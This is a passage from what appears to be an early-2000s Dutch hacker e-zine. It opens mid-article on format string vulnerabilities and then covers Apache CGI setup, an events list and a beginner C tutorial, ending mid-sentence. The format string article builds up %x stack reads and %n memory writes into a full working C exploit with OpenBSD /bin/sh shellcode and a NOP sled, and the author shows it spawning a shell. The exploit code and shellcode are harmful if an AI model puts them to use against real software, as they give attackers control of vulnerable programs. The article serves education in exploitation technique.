sizeof(float) | Nu wijst de pointer dus naar het adres van | name | hierna verwijst de interne pointer van de pointer van de formatfunction VOORDAT hij aan het parsen van de formatstring begint - ---------------------------------------------------------------------------- De formatfunctie zal nu de characters ". Mijn " gewoon naar het scherm echo'en, waarna hij de formatparameter %s tegenkomt. De %s parameter vertelt de formatfunctie dat hij vanaf geheugen adress 0xaabbccdd (het adres van de string "casper") alle characters naar het scherm moet kopieeren, totdat hij een NULL byte tegen komt. Hierna wordt wederom de interne pointer verhoogd met sizeoff (*char), zodat de pointer naar age wijst. Aldoende gaat de formatfunctie verder, totdat hij zelf een NULL byte tegenkomt en exit. 3. Formatstring vulnerabilities ============================== Als het voor een aanvaller mogelijk is om de gehele, of een deel van de formatstring die wordt gebruikt voor een van de formatfunctions in te geven, dan is er een formatstring vulnerabilitie aanwezig. Door deze string te manipuleren, kan het gedrag van de formatfunctie veranderd worden, en zodoende kan de aanvaller de controle over de toepassing overnemen. In het voorbeeld hieronder is duidelijk een formatstring vulnerabilitie aanwezig: vuln.c : - ----------------------------------------------------- int main(int argc, char *argv[]) { printf(argv[1]); } - ----------------------------------------------------- Omdat de aanvaller de gehele formatstring -argv[1] in dit geval- kan bepalen, is het voor deze aanvaller mogelijk om het gedrag van de formatfunction -printf in dit geval- te veranderen. Zo is het in het bovenstaande voorbeeld bijvoorbeeld mogelijk om stack geheugen te bekijken. De pointer van de formatfunctie staat namelijk gericht op het adres na het adres van de formatstring zelf, ongeacht of er nou wel of geen extra parameters aan de formatfunctie worden meegegeven. We kunnen in dit geval de format string zelf bepalen: gcc -o vuln vuln.c ./vuln '%x.%x.%x.%x' Hierdoor wordt de volgende function call uitgevoerd: printf("%x.%x.%x.%x"); Hoewel er aan de formatfunctie geen parameters meegegeven zijn, gaat de functie wel zoals normaal te werk. Hij zal dus 4 bytes op het scherm uitprinten, daarna het character '.' afdrukken, dan zijn pointer verhogen met 4 bytes (sizeof (int)) en deze procedure nog 3 maal herhalen. Zodoende is het mogelijk om het gehele stack geheugen uit te printen. In het bovenstaande geval worden echter alleen 4 * 4 = 16 bytes op het scherm gezet. Interessanter wordt het echter dat in de meeste gevallen ook de formatstring ZELF op de stack geplaatst is. Nog een voorbeeld: ./vuln `perl -e 'printf("aaaaaaaa"); for ($n = 0; $n < 50; $n++) { \ printf("%%08x."); }'` We gebruiken hier perl om de string "aaaaaaaa" gevolgd door 50 maal "%08x." als argument aan ons vuln programmaatje mee te geven. ............................................................................ In plaats van '%x' gebruiken we nu '%08x', omdat dit altijd een output van 8 chars oplevert, waar %x ook kortere strings kan produceren (aan de hand van wat er op dat moment op je stack staat. Zo levert 0x132 met '%x' de output 132 op, en met '%08x' een output van 00000132). Later zal blijken waarom dit handiger is. ............................................................................ Een volgende output is mogelijk atje@jamaica:~ $./vuln `perl -e 'printf("aaaaaaaa"); for ($n = 0; $n < 50; $n++) { printf("%%08x."); }'` aaaaaaaa0b0186c0.dfbfdaf8.000017a3.00000000.00000000.dfbfdb34.0000109c.00000002.dfbfdb3c.dfbfdb48. 00002000.0000002f.00000000.00000000.dfbfdff0.0008ba20.000955e2.00000000.00000000.00002000.00000000. 00000002.dfbfdb88.dfbfdb98.00000000.dfbfdc9b.dfbfdca5.dfbfdcb6.dfbfdcc6.dfbfdcd0.dfbfdcf1.dfbfdcfe. dfbfdd06.dfbfdd16.dfbfdd24.dfbfdd36.dfbfdd41.dfbfdd4c.dfbfdda3.dfbfddb5.00000000.61642f2e.6f666174. 762f7472.006e6c75.61616161.61616161.78383025.3830252e.30252e78. ^ Het begin van de format string zelf!! (immers, de hexedecimale representatie van het character 'a' is 61) Hieruit kunnen we de offset vanaf de pointer van de formatfunction tot onze formatstring bepalen. ............................................................................ opmerking: Omdat de formatstring ALS hij op de stack staat altijd eerder op de stack is gepushed dan de argumenten van de formatfunctie, zal deze altijd benaderbaar zijn via een x aantal stackpops (%x noemen we een stackpop, daar het 4 bytes van de stack haalt, en zodoende de interne 'stack'pointer van de formatfunctie verhoogt). ............................................................................ 4. De %n formatparameter: Je nieuwe vriend ========================================== Hoewel door het bekijken van stackmemory al veel waardevolle informatie achterhaald kan worden over je target applicatie, wordt het pas echt spannend als we de %n formatparameter introduceren. De %n parameter schrijft het aantal characters dat de formatfuctie tot dan toe geoutput heeft naar een addres, als integer. voorbeeld: int a = 2002, b; printf("Jaartal: %d%n\n", a, &b); printf("b = %d\n", b); In het bovenstaande voorbeeld zal b de waarde 13 toegeschreven worden: 9 characters zijn geschreven voor de string 'Jaartal: ' en 4 door de string '2002' ............................................................................ opmerking: %n schrijft altijd het aantal characters hoevel er geschreven zouden MOETEN zijn, dit hoeft dus niet overeen te komen met de werkelijke hoeveelheid. voorbeeld: int b; char buf[3]; snprintf(buf, 3, "aaaaa%n", &b); In het bovenstaande geval wordt toch 5 naar b geschreven, hoewel de formatfunctie eigenlijk maar 3 bytes heeft geschreven. ............................................................................ Door de eigenschappen van de %n formatparameter, zijn we nu in staat om naar ieder geheugenaddres te schrijven dat we willen. Dit doen we als volgt: - - we beginnen onze formatstring met het geheugenadres waarna we willen schrijven. Omdat we met een little endian systeem werken beginnen we onze formatstring bijvoorbeeld met \xdd\xcc\xbb\xaa als we naar adress 0xaabbccdd willen schrijven. - - daarna zetten we een serie '%08x.' strings in de string, zogenaamde stackpops, zodat de interne pointer van de formatfunctie naar het begin van onze formatstring wijst (naar ons adres dus) - - hierna zetten we de parameter %n zodat het aantal tot dan toe geschreven characters op ons adres wordt weggeschreven. Laten we eens proberen om [ret] te overwriten. Daartoe moeten we eerst het adres van [ret] te zien achterhalen. We proberen het volgende: ./vuln '%n%n%n%n%n' Hierdoor crashed onze target applicatie. Eerst openen we de gewone binary met gdb: gdb vuln Daarna bekijken we de assembly dump van vuln, om de waarde van [ret] te achterhalen: (gdb) disassemble main Dump of assembler code for function main: 0x1798
: push %ebp 0x1799 : mov %esp,%ebp 0x179b : sub $0x8,%esp 0x179e : call 0x1838 <__main> 0x17a3 : add $0xfffffff4,%esp 0x17a6 : mov 0xc(%ebp),%eax 0x17a9 : add $0x4,%eax 0x17ac : mov (%eax),%edx 0x17ae : push %edx 0x17af : call 0x2084 <_DYNAMIC+132> 0x17b4 : add $0x10,%esp 0x17b7 : leave 0x17b8 : ret 0x17b9 : add %al,(%eax) 0x17bb : add %dl,0xffffff89(%ebp) End of assembler dump. We zien dat onze formatfunctie op 0x17af gecalled wordt, en dat de eerst volgende instructie daarna op 0x17b4 staat. De waarde van [ret] zal hier dus 0x17b4 zijn. Nu laden we de coredump van ons gecrashde programma: (gdb) core vuln.core Core was generated by `vuln'. Program terminated with signal 11, Segmentation fault. #0 0x40088534 in ?? () Met het commando x/200x $esp geven we gdb vervolgens de opdracht om 200 bytes van zijn stackmemory te dumpen. In deze output gaan we op zoek naar [ret]: ...andere data... 0xdfbfdbe0: 0xdfbfdc50 0xdfbfdc08 0xdfbfdc08 0x000017b4 0xdfbfdbf0: 0xdfbfdca5 0x0b0186c0 0xdfbfdc08 0x000017a3 ...andere data... Hebbes! Het adres van [ret] is dus 0xdfbfdbec. Dit adres zullen we [retloc] noemen (het adres van [ret]). Nu gaan we dit adres overschrijven met de hierboven beschreven methode: ./vuln `perl -e 'printf("jjj\xf4\xda\xbf\xdf"); for ($n = 0; $n < 45; $n++) { printf("%%08x."); } printf("%%n");'` Segmentation fault (core dumped) ............................................................................ opmerking: Merk op dat we hier voor het adress drie junkcharacters neerzetten (jjj in dit geval). Omdat we met de stackpops alleen per 4 bytes tegelijk kunnen poppen, kan het zijn dat je niet precies [retloc] kan berijken (namelijk: als [retloc] op een afstand ligt die niet exact deelbaar is door 4). Door 1, 2 of 3 junkcharacters VOOR ons adres te zetten, kunnen we [retloc] wel in stappen van 4 bytes bereiken, en werkt onze truuk. ............................................................................ ............................................................................ opmerking 2: Als je goed hebt opgelet zie je dat we in het bovenstaande voorbeeld niet 0xdfbfdbec als [retloc] gebruiken, maar 0xdfbfdaf4. Doordat onze formatstring iets gewijzigd is, veranderd ook [retloc]. Het kan dus zijn dat je meerdere malen gdb nodig hebt om je juiste [retloc] te vinden. ............................................................................ Ons programma heeft gesegv'd. We openen de coredump, om te kijken of we geslaagd zijn in onze opzet: (gdb) core vuln7.core (gdb) bt #0 0x17b7 in ?? () Cannot access memory at address 0x199 (gdb) x/x 0xdfbfdaf4 0xdfbfdb60: 0x00000199 Jawel! Het returnadres van printf is overgeschreven met 0x199, hetgeen inderdaad overeenkomt met het aantal reeds door printf geschreven bytes. 5. Writecode ============ Hoewel we de waarde die %n naar een integerpointer schrijft kunnen aanpassen door het aantal characters ervoor toe te voegen of weg te halen, is dit niet erg handig. Gelukkig staat ons hierbij de %nu parameter ter beschikking, waarbij n vervangen kan worden met het gewenste aantal bytes dat we geschreven willen hebben. Bijvoorbeeld: printf("%20u%n", 0x1, a); De bovenstaande code schrijft 20 in variabele a. Deze methode werkt goed voor kleine getallen maar is nog niet geschikt voor grotere getallen zoals geheugen adressen. Gelukkig is het op de meeste CISC architectures (waaronder de i386) mogelijk om naar unaligned adressen te schrijven. Bekijk de volgende code: unsigned char canary[5]; unsigned char foo[4]; memset (foo, '\x00', sizeof(foo)); strcpy (canary, "AAAA"); // voor we beginnen printf ("%16u%n", 0x1, (int *) &foo[0]); // stap 1 printf ("%32u%n", 0x1, (int *) &foo[1]); // stap 2 printf ("%64u%n", 0x1, (int *) &foo[2]); // stap 3 printf ("%128u%n", 0x1, (int *) &foo[3]); // stap 4 printf ("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2]. canary[3]); Bovenstaande code zal de output "foo: 10204080" en "canary: 00000041" geven. We hebben in 4 stappen steeds de least-significant byte van foo overschreven, en door steeds de pointer te verhogen was het mogelijk om alle 4 bytes volledig zelf te bepalen. In schema: stap | foo | canary - -----+-------------+--------------- 0 | 00 00 00 00 | 41 41 41 41 00 <-- voor we beginnen 1 |[10 00 00 00]| 41 41 41 41 00 2 | 10[20 00 00 | 00]41 41 41 00 3 | 10 20[40 00 | 00 00]41 41 00 4 | 10 20 40[80 | 00 00 00]41 00 <-- eindsituatie In bovenstaand schema is [xx 00 00 00] steeds de byte die we schrijven. Zoals je ziet schrijven we steeds alleen de least-significant byte (namelijk, de eerste in onze architectuur), maar door onze writebyte stapsgewijs op te schuiven kunnen we toch het gehele adres beschrijven. De canary array doet niets in ons voorbeeld, hij toont alleen aan dat met deze methode ook andere data overschreven wordt. Dit voorbeeld was een speciaal geval, waarin onze writebytes tijdens het schrijven steeds groter werden (10.. 20.. 40.. 80). We kunnen echter iedere wille- keurige byte schrijven (bijvoorbeeld 80 40 20 10) door een kleine aanpassing in onze writecode te maken. Omdat we integers schrijven en we een little endian architectuur hebben, is alleen de least-significant byte van belang (zoals we hierboven al zagen). Door als counters 0x80, 0x140x 0x220 en 0x310 te gebruiken voor de %n parameter, kunnen we dit doel bereiken. Om deze taak te vereenvoudigen kunnen we de onderstaande code gebruiken: write_byte += 0x100; already_written %= 100; padding = (write_byte - already_written) % 0x100; if (padding < 10) padding += 0x100; In deze code is 'write_byte' de byte die we willen schrijven, 'already_written' het aantal reeds geschreven characters door de formatfunctie en 'padding' het aantal bytes waarme we onze counter moeten verhogen. Bijvoorbeeld: write_byte = 0x7f; already_written = 30; write_byte += 0x100; // nu is write_byte 0x17f alreadt_written %= 0x100 // already_written is 30 padding = (write_byte - already_written) % 0x100; // nu is padding 97 (=0x61) if (padding < 10) padding += 0x100; Nu zal de formatparameter '%96u' de %n-counter dusdanig verhogen, dat de least-significant byte die overschreven wordt de waarde van 'write_byte' zal hebben. ............................................................................ opmerking: De laatse regel uit de code roept misschien wat vragen op. Omdat de normale output van '%u' tot een string van maximaal 10 tekens, willen we zeker zijn dat dit er ook 10 zijn. Daarom verhogen we de padding met 0x100 als deze kleiner is, dit is de enige manier om 'already_written' accuraat in de gaten te houden. Dat is tevens de rede waarom we '%08x' gebruiken voor de stackpops, en niet '%x': alleen op deze manier kunnen we already_written onafhankelijk van wat er op je stack staat bepalen. ............................................................................ Op deze wijze is het dus mogelijk om naar ieder mogelijk adres te schrijven, met een door onszelf gekozen waarde. (gaat hier al een belletje rinkelen? ;-) 6. De Exploit ============= We kunnen nu naar ieder adress iedere waarde schrijven die we willen. Genoeg mogelijkheden voor een exploit dus! We gaan een exploit schrijven voor ons vuln.c programmaatje. Hoewel we de shellcode ook in de formatstring zelf kunnen plaatsen, maken we het onszelf makkelijk en plaatsen we deze in de enviroment. Onze formatstring moet er in schema als volgt uit komen te zien: [retloc][dummy][retloc + 1][dummy][reloc + 2][dummy][retloc +3] [dummy][stackpops][writecode] [retloc] is dan de locatie van het returnaddress van de formatstring, en we maken de write code zo dat hij het address van onze shellcode op retloc schrijft. De [dummy]'s zijn nodig als parameters voor onze '%nu'-formatparameters, en mogen alles zijn zolang ze maar geen '\0' byte bevatten. De exploit: #include #define STACKPOPS 43 /* Aantal stackpops wat we nodig hebben voor de */ /* pointer van printf op onze address-dummy-pairs */ /* wijst. */ #define ALW 0x1ae /* Aantal characters dat reeds door de formatfunctie */ /* geschreven is voordat we aan onze writecode beginnen */ #define DUMMY 0xdddddddd /* Dummy-waarde voor onze address-dummy-pairs. */ #define NOP 0x90 /* De opcode voor de NOP instructie. */ #define RETLOC 0xdfbfd6e4 /* Locatie van RET. */ #define RET 0xdfbfd9d4 /* Dit adress schrijven we op RET, wijst ergens in onze */ /* NOPs. */ #define EGGSIZE 1024 /* De grootte van onze $EGG enviroment variable. */ char shellcode[]= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" "\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" "\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" "/bin/sh"; /* * Onze padding functie. Berekend aan de hand van de * byte die we op een address willen schrijven, en het * aantal bytes dat onze formatfunctie reeds geschreven * heeft, welke counter we aan onze %nu parameter moeten meegeven. */ int padding(int write_byte, int already_written) { int padding; write_byte += 0x100; already_written %= 0x100; padding = (write_byte - already_written) % 0x100; if (padding < 10) padding += 0x100; return padding; } /* * De main function, het hart van onze exploit. * Gebruikt alle mechanismen die in dit artikel * aan bod gekomen zijn. */ int main() { char format[512] = "./vuln ",/* De volledige string die we meegeven aan ons */ /* vulnerable programma. Hierin construeren we */ /* dus ook onze formatstring. */ writecode[8], /* Tijdelijke opslagplaats voor onze '%nu%n' */ /* writecodes. */ egg[EGGSIZE], /* De buffer die we in de enviroment plaatsen. */ /* Bevat NOPs en shellcode. */ *ptr; /* General-purpose pointer. */ int already_written = ALW, /* Counter waarmee we bijhouden hoeveel chars */ /* er al door de formatfunctie zijn geschreven. */ tmp, /* Tijdelijke opslagplaats voor onze paddings. */ i; /* General-purpose counter. */ long *addr_ptr; /* Pointer die we gebruiken om geheugenadressen */ /* in de formatstring te schrijven. */ /* * We construeren onze $EGG enviroment variabele en * plaatsen deze in de enviroment: */ ptr = egg; for (i = 0; i < EGGSIZE - strlen(shellcode) -1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[EGGSIZE - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); /* We plaatsen een junk character in onze formatstring, omdat * we anders niet exact op RETLOC uitkomen met onze stackpops: */ strcat(format, "j"); /* We plaatsen de 4 dummy-address pairs: */ ptr = format + 8; addr_ptr = (long *) ptr; for (i = 0; i < 4; i++) { *(addr_ptr++) = RETLOC + i; *(addr_ptr++) = DUMMY; } *(ptr + 32) = 0; /* We plaatsen de stackpops in de formatstring: */ for (i = 0; i < STACKPOPS; i++) strcat(format, "%08x."); /* Hier plaatsen we de daadwerkelijke writecode: */ for (i = 0; i <= 24; i += 8) { tmp = padding((RET >> i) & 0xff, already_written) + 10; sprintf(writecode, "%%%du%%n", tmp); strcat(format, writecode); already_written += tmp; } /* En tot slot geven we onze formatbuffer door aan system, zodat * we ons vulnerable programma exploiten: */ system(format); } We compilen en testen deze exploit: atje@jamaica:~/ $gcc -o expl expl.c && ./expl $ exit atje@jamaica:~/ $ Mission Accomplished! Kleine voetnoot bij deze exploit: daar ik op mijn thuis systeem OpenBSD gebruik, is de shellcode ook voor dit systeem. Hij zou natuurlijk met iedere andere shellcode ook werken; houd er echter wel rekening mee dat per systeem de addressen RET en RETLOC, alsmede het aantal STACKPOPS zullen verschillen. 7. Tot Slot =========== In principe zal de in dit artikel behandelde materie voldoende moeten zijn om alles nu zelf verder te onderzoeken. Eventueel zal ik in eenvolgende H4H nog een addiectief artikel publiceren met wat extra grappen en grollen als het aankomt op het exploiten van deze bugs: zo heb ik het in dit artikel nog niet gehad over (blind) bruteforcing, en het gebruik van deze bug in combinatie met andere exploiting methodes (GOT overwrite, heap/bss overflow, returning into libc, enz). In dat artikel zal ik dat ook zaken die het schrijven van een exploit je iets vergemakkelijken aan de orde stellen (short-write, direct parameter access) Mochten er aan de hand van dit artikel nog vragen zijn, wees dan zo vrij om mij te mailen op czijlstr@science.uva.nl. Ook ben ik bereikbaar voor vragen en eventuele andere onzin op #netric@irc.rizenet.org. Tenslotte wil ik nog van de gelegenheid gebruik maken om een aantal mensen te bedanken. Dit is in de eerste plaats scut van teso, voor zijn heldere en zeer uitgebreide artikel over dit onderwerp. Dit artikel is voor alle geineteresseerden een echte must-read. Afsluitend bedank ik ook nog Laurens voor de altijd boeiende discussie op irc, en het proeflezen van dit document. Cheers! atje [ Appendix A: Handige links] ============================ [1] scut's artikel: http://www.team-teso.org/articles/formatstring/ [2] dvorak's artikel: http://www.hackers4hackers.org/reader.php?h4h=05&page=11 [3] $home of netric: http://www.netric.org [ Appendix B: De Formatfunctions ] ================================= Hieronder een beknopte lijst van de formatfuncties. Bekijk hun man page voor meer informatie. fprintf - schrijft naar een FILE stream printf - schrijft naar de 'stdout' stream sprintf - schrijft naar een string snprintf - schrijft naar een string, met length-checking vfprintf - schrijft naar een FILE stream vanuit een va_arg structure vprintf - schrijft naar de 'stdout' stream vanuit een va_arg structure vsprintf - schrijft naar een string vanuit een va_arg structure vsnprintf- schrijft naar een string vanuit een va_argstructure, met length-checking Familie functies: setproctitle - set argv[] syslog - output naar syslogd En dan zijn nog overigen als err*, verr*, warn* en vwarn*. ------------------------------------------------------- 07. Common Gateway Interface ------------------------------------------------------- Voorafje Na veel kritiek op mijn vorige artikel (ik had het idd grotendeels overgenomen uit PC-Active, en had de bron er niet bij vermeld :( mijn excuses hiervoor !!!) zal ik nu wat over apache en cgi-scripts gaan vertellen. Ook hier heb ik stukjes uit de PC-Active gehaald. Waarom??? omdat ik vind dat ze daar alles goed en helder uitleggen. En stukjes uit de Apache manual. Maar nu wat meer eigen inbreng :) En tja... h4h = toch ook een beetje spreading knowledge ofniet? Dus nu heb ik de bronnen vermeld :) Voorafje2 Ik zal niet ingaan op de taal perl. Zie hiervoor h4h-0F, Perl voor beginners - deel 1 van Asby Ik zal hier wel uitleggen hoe je de scrippies aan de pruttel krijgt op je webserver. En een beetje basis kennis is altijd wel handig :)) Benodigdheden: Zorg dat je een webserver hebt. Apache bijvoorbeeld. Ik zelf gebruik Apache/1.3.22 Server. En zorg ervoor dat deze cgi/perl kan draaien. Edit dan het httpd.conf bestand Bijv: ScriptAlias /cgi-bin/ "/usr/apache/cgi-bin/" [als /usr/apache/ je apache dir is] en voeg toe: AddHandler cgi-script .cgi .pl en in: Options +ExecCGI Je kunt echter ook het bestand .htaccess editen. Hierin zet je bijv: AllowOverride Options Options +ExecCGI Je kunt echter nog veel meer over cgi instellen. Zoek maar eens naar alle "cgi" woorden in je httpd.conf CGI Cgi staat voor: Common Gateway Interface Veel CGI en PERL scripts vind je gratis op internet. Let echter wel op wat je downl. CGI/PERL scripts kunnen nogal eens vulnerable zijn. Zie het artikel cgi exploits uit h4h-04. cgi scripts zijn gewoon tekstbestanden dus je kunt ze openen/editen in notepad.. of je favoriete textverwerker. Heb je nu een script gedownload dan edit je eerst deze .cgi file. Meestal vind je dan bovenaan de scripttaal Perl. Kijken we naar de "printenv" die bij Apache standaard wordt meegeleverd dan zien we: #!/usr/bin/perl [deze regel moet je aanpassen naar de directory waar je perl geinstalleert is] [weet je dit niet doe dan eens: [root@Donald /]# whereis perl ] [en in mijn geval zie ik dan: perl: /usr/bin/perl ] Zet dan het script in je cgi-bin directory. Start Apache en doe in je browser: http:///cgi-bin/printenv Je zult dan zien: Forbidden, You don't have permission to access /cgi-bin/printenv on this server. Mhzz.. we zullen het script dus eerst rechten moeten geven. Dit doen we d.m.v. het chmod commando Er zijn drie types file permissions. Dit zijn read(r), write(w) en execute(x) | | | Elk van deze rechten hebben een getal: 4 2 1 De rechten zijn dan: 0 = no access 1 = execute only 2 = write only 3 = write and execute (1+2) 4 = read only 5 = read and execute (4+1) 6 = read and write (4+2) 7 = read and write and execute (4+2+1) [meestal alleen aan de root gegeven] Deze drie rechten hebben weer betrekking op drie usersgroepen: Owner, Group en Other Een voorbeeldje: de owner krijgt read, write en execute, de group read en execute en other geen rechten. Dan krijgen we dus 750 [(4+2+1) en (4+1) en (0)] Okey dat was het wat betreft de rechten. Waar waren we ook alweer.... oja.... cgi script rechten geven We willen nu dus het printenv rechten geven zodat je geen You don't have permission to access /cgi-bin/printenv on this server melding krijgt :) dus ik geef um de rechten: chmod 744 dit doe je d.m.v. [root@Donald /]# chmod 755 /usr/apache/cgi-bin/ en [root@Donald /]# chmod 755 /usr/apache/cgi-bin/printenv Restart je Apache servertje en je opent in je browser: http:///cgi-bin/printenv en het printenv scrippie wordt geopend. Het is wel verstandig om deze test scrippies weer te verwijderen. Iedereen kan nu namelijk info zien over je web-servertje. En ze zijn vulnerable. APACHE Okey.. dan wat basic info om je Apache webservertje te securen. Het is verstandig om een goede firewall te installen, vooral als je met Apache het inet op gaat. PMFIREWALL is een goede, en ik raad je deze dan ook aan. Vooral omdat hij ook voor de linux newbie goed te configureren is. Verder kun je je Apache ook Authorizen. Zodat alleen jij toegang hebt tot je Servertje :) Dit doen we d.m.v. htpasswd (htdigest is ook mogelijk, maar ik gebruik nu htpasswd) We doen: [root@Donald bin]# /usr/apache/bin/htpasswd -c apachepasswd razor New password: Re-type new password: Zorg ervoor dat de apachepasswd niet in je document directorie zit. Dit zou wel eens vervelend kunnen worden :)) Dan editen we nu de httpd.conf in de conf directory. En voegen we toe ergens in een directory: (ik heb um in staan. AuthName "Login op mijn Servertje" AuthType Basic AuthUserFile /usr/apache/bin/apachepasswd require user razor Als je nu http:// intypt dan zul je zien dat hij nu om een wachtwoord vraagt. Dit was het voor deze keer.. Als jullie het interessant vonden dan komt er misschien een vervolg.. Maar dat hoor ik dan wel van jullie :) R4z0r_ razor@bospop.com grtz: to iedereen die ik ken van irc !!! ------------------------------------------------------- 08. Evenementen ------------------------------------------------------- Congres & Expo Voice-over-IP Tijdens dit ééndaagse GRATIS congres zullen praktijkervaringen, belangrijke trends en de laatste ontwikkelingen op het gebied van VoIP de revue passeren. Zowel de gebruikers, leveranciers als de adviseurs zullen de deelnemers informeren en adviseren URL: http://www.infocare.com/events/VoIP2002.html Datum: 8 mei 2002 Locatie: Rotterdam -- PKI 2002 Het congres is bedoeld voor diegenen die een beveilingsstrategie moeten bepalen, aanbevelen, gaan invoeren of in stand moeten houden. We denken aan de volgende branches: overheid en semi-overheid, financiële instellingen (banken en verzekeringsmaatschappijen), multinationals, management consultancy, retail, gezondheidszorg, handel, industrie en dienstverlening. URL: http://www.infocare.com/events/pki.html Datum: 23 mei 2002 Locatie:Hoevelaken -- RAW 2002 Demo-scene evenement URL: http://www.raw.scene.org Datum: 24/25/26 mei 2002 Locatie: Den Haag -- Outerbrains 2K2 Outerbrains 2K2 is de opvolger van Bizarre en voor een groot deel door H4H georganiseerd. Het is een competitie gebaseerd evenement, dat betekend dat er diverse wedstrijden op gebied van zowel de demo-scene als hackers-scene zullen plaatsvinden. Hierbij is te denken aan diverse programmeer wedstrijden voor realtime 3d presentaties, muziek competities, computer getekende afbeeldingen en algoritme hacks. In iedergeval 3 dagen non-stop plezier! URL: http://www.outerbrains.nl Datum: 27/28/29 Sept. 2002 Locatie: Etten-Leur (NB) -- Dit zijn de evenementen voor de komende periode. Mochten we evenementen gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar h4h-redactie@hackers4hackers.org ------------------------------------------------------- 09. Programmeren in C ------------------------------------------------------- Voorafje -------- Na het terug lezen van alle h4h's kwam ik interessante artikelen tegen van Tozz over programmeren in C. Ik heb ze allemaal gelezen en vond het erg jammer dat er geen nieuwe artikelen meer kwamen over C. Ik ben zelf ook een totale newbie in het programmeren van C, maar wil het wel graag leren. Dus /me d8: pak het Teach yourself C in 24H boek erbij en begin te lezen / leren / vertalen / schrijven. Ik ga hier dan ook verder waar Tozz gestopt was. Dus lees deze eerst (ze staan in h4h-06 en h4h-0A) Random Blaat ------------ Dit artikel is een vertaling uit het boek: Teach yourself C in 24 Hours. De voorbeelden komen ook uit dit boek. Het zou dus kunnen dat er typos instaan en tevens staan er engelse woorden in die moeilijk te vertalen zijn in het Nederlands, omdat ze anders niet klinken of omdat het anders nergens meer op slaat :) Alles wat je hier leest en uitvoert is op je eigen risico en ik ben nergens aansprakelijk voor. Maar als je gewoon doet wat ik hier schrijf dan kan er opzich weinig gebeuren... maar je bent alvast gewaarschuwd..... ik ben nergens voor aansprakelijk :) Data types ---------- Zoals gezegd gaan we dus verder waar Tozz gestopt was. Data types. Er zijn veel data types (zie h4h-0A, Tozz) zoals: char int float char is al besproken. Dus gaan we verder met int. Je kunt een variabele van het type int op eenzelfde manier toewijzen als met char. Dus als volgt: int variabelenaam; en bij meer dan 1 variabele doe je int variabelenaam1; int variabelenaam2; int variabelenaam3; of je doet int variabelenaam1, variabelenaam2, variabelenaam3; Zoals je bij char %c gebruikt om aan de printf() functie door te geven dat het hier om een character gaat, gebruik je bij de integer de %d een voorbeeldje: 1: /* 04L03.c: Laat de numerieke waarde van de characters zien */ 2: #include 3: 4: main() 5: { 6: char c1; 7: char c2; 8: 9: c1 = `A'; 10: c2 = `a'; 11: printf("The numerieke waarde van A is: %d.\n", c1); 12: printf("The numerieke waarde van a is: %d.\n", c2); 13: return 0; 14: } Heb je gezien dat bij het voorbeeld van de char (Tozz's artikel) je met %c gewoon als ouput A en a krijgt, en dat je nu (door gebruik te maken van de integer) als output krijgt: De numerieke waarde van A is: 65. De numerieke waarde van a is: 97. Zoals je weet zijn de waarde 65 en 97 de characters A en a in de ASCII character lijst. Het Float data type: Het floating-point nummer is ook een data type in de programmeer-taal C. Maar anders dan bij een integer nummer heeft een floating-point nummer een decimale punt. Dus bijvoorbeeld 5.01, 7.63 en -9.06 zijn floating-point nummers. Een floating-point nummer wordt ook wel een real nummer genoemd. Floating-point nummers worden aangegeven d.m.v. f of F Net als een integer heeft ook een floating-point nummer een limiet. Volgens de ANSI standaard kan de range op zijn minst plus of minus 1.0*10^37 zijn. Normaal heeft een floating-point nummer 32 bits. Zodat een floating-point nummer in C op zijn minst 6 decimalen aan de rechterkant van de punt heeft. Anders dan bij een integer produceer je bij een floating-point nummer altijd nog een floating-point nummer. Een voorbeeld: bij 571.2 / 10.0 krijg je het volgende floating-point nummer 57.12 Hetzelfde is het geval bij 571.2 / 10 en bij 5712 / 10.0 etc.. Het toewijzen van een variabele aan het floating-point gebeurd weer op dezelfde manier als char en int. Dus: float variabelenaam; Bij meer dan 1 variabele doe je float variabelenaam1; float variabelenaam2; float variabelenaam3; Of je doet float variabelenaam1, variabelenaam2, variabelenaam3; Bij float gebruik je %f om (bijvoorbeeld aan de printf() functie) door te geven dat het hier om een float gaat. Weer een voorbeeldje uit het boek TYCI24H van het gebruik van float en %f: 1: /* 04L04.c: Integer vs floating-point */ 2: #include 3: 4: main() 5: { 6: int int_num1, int_num2, int_num3; /* toewijzen van integer variabelen */ 7: float flt_num1, flt_num2, flt_num3; /* toewijzen van floating-point variablen */ 8: 9: int_num1 = 32 / 10; 10: flt_num1 = 32 / 10; 11: int_num2 = 32.0 / 10; 12: flt_num2 = 32.0 / 10; 13: int_num3 = 32 / 10.0; 14: flt_num3 = 32 / 10.0; 15: 16: printf("The integer divis. of 32/10 is: %d\n", int_num1); 17: printf("The floating-point divis. of 32/10 is: %f\n", flt_num1); 18: printf("The integer divis. of 32.0/10 is: %d\n", int_num2); 19: printf("The floating-point divis. of 32.0/10 is: %f\n", flt_num2); 20: printf("The integer divis. of 32/10.0 is: %d\n", int_num3); 21: printf("The floating-point divis. of 32/10.0 is: %f\n", flt_num3); 22: return 0; 23: } Dan volgt hier wat uitleg: In regel 6 worden er drie integer variabelen toegewezen, namelijk int_num1, int_num2 en int_num3. In regel 7 worden er drie floating-point variabelen toegewezen, namelijk flt_num1, flt_num2 en flt_num3. In regel 9 en 10 worden de resultaten van 32/10 toegewezen aan int_num1 en aan flt_num1 In regel 11 en 12, 32.0/10 aan int_num2 en flt_num2 En in regel 13 en 14, 32/10.0 aan int_num3 en flt_num3. Okey tot nu toe snappen we het ?? lees het anders nog eens rustig door :) Dan de regels 16 t/m 21. Deze laten de output op het scherm zien van de waarden die zijn toegewezen aan de drie int variabelen en de drie floating-point variabelen. LET OP !! zoals je ziet is er %d gebruikt bij de integer variabelen, en dus %f bij de floating-point. De programmeer-taal C gebruikt (zoals aangegeven in het boek) zogenaamde scientific notaties. Deze helpen je bij het schrijven van grote floating-point nummers. Ze maken gebruik van exponenten. Als je een beetje hebt opgelet met wiskunde dan weet je dit wel. Je geeft ze aan met e of E. Een voorbeeldje: 5000 kan ook geschreven worden als: 5e3 -300 kan ook geschreven worden als: -3e2 0.0025 kan ook geschreven worden als: 2.5e-3 etc.. Zo 